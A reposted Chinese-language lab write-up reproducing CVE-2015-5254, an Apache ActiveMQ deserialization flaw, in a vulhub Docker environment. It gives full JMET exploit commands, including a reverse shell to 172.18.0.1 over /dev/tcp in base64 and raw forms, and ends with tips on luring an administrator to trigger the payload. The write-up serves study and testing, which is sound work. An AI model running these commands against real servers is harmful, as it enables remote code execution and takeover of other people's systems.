【漏洞复现】CVE-2015-5254 Java Object Injection (with Known Gadgets)
漏洞信息
Apache ActiveMQ 5.x before 5.13.0 does not restrict the classes that can be serialized in the broker, which allows remote attackers to execute arbitrary code via a crafted serialized Java Message Service (JMS) ObjectMessage object.
背景介绍
Apache ActiveMQ is an open source messaging middleware developed by the American Pachitea (Apache) Software Foundation that supports Java messaging services, clustering, Spring framework, and more.
主页:https://github.com/vulhub/vulhub/tree/master/activemq
源码:https://github.com/apache/activemq
环境搭建
docker-compose.yaml
:
version: '2'
services:
activemq:
image: vulhub/activemq:5.11.1
ports:
- "61616:61616"
- "8161:8161"
启动容器:
$ docker-compose up -d
61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。
访问http://127.0.0.1:8161/admin/即可看到web管理页面(账号密码都是admin)
漏洞复现
参考:https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.md
漏洞利用需要用到JMET: Java Message Exploitation Tool,由于它的依赖库比较麻烦,所以直接拿jar包来用(Tips:Java版本不能太高,否则会出问题):
$ mkdir attack
$ cd attack
$ wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar --no-check-certificate
$ mkdir external
以运行touch /tmp/success
为例,执行如下命令:
$ java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 127.0.0.1 61616
- -Q:列队消息名
- -I:选择装载的JMS客户端
- -s:选择ysoserial payload
- -Y:执行具体命令
- -Yp:指定payload类型,后面跟ActiveMQ所在机器的ip以及工作端口
消息队列更新:
点击查看这个event,就会触发恶意命令执行:
利用这个方法也可以反弹shell,先把shell命令进行base64编码:
# Command Before Encoding
sh -i >& /dev/tcp/172.18.0.1/23396 0>&1
# Command After Encoding
c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE4LjAuMS8yMzM5NiAwPiYx
Payload是通过管道符连接来解密并最后运行的:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE4LjAuMS8yMzM5NiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 127.0.0.1 61616
不过实际上并没有严格的字符过滤,直接使用初始命令也可以的:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sh -i >& /dev/tcp/172.18.0.1/23396 0>&1" -Yp ROME 127.0.0.1 61616
值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
原文地址:https://blog.csdn.net/Mitchell_Donovan/article/details/144736779
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!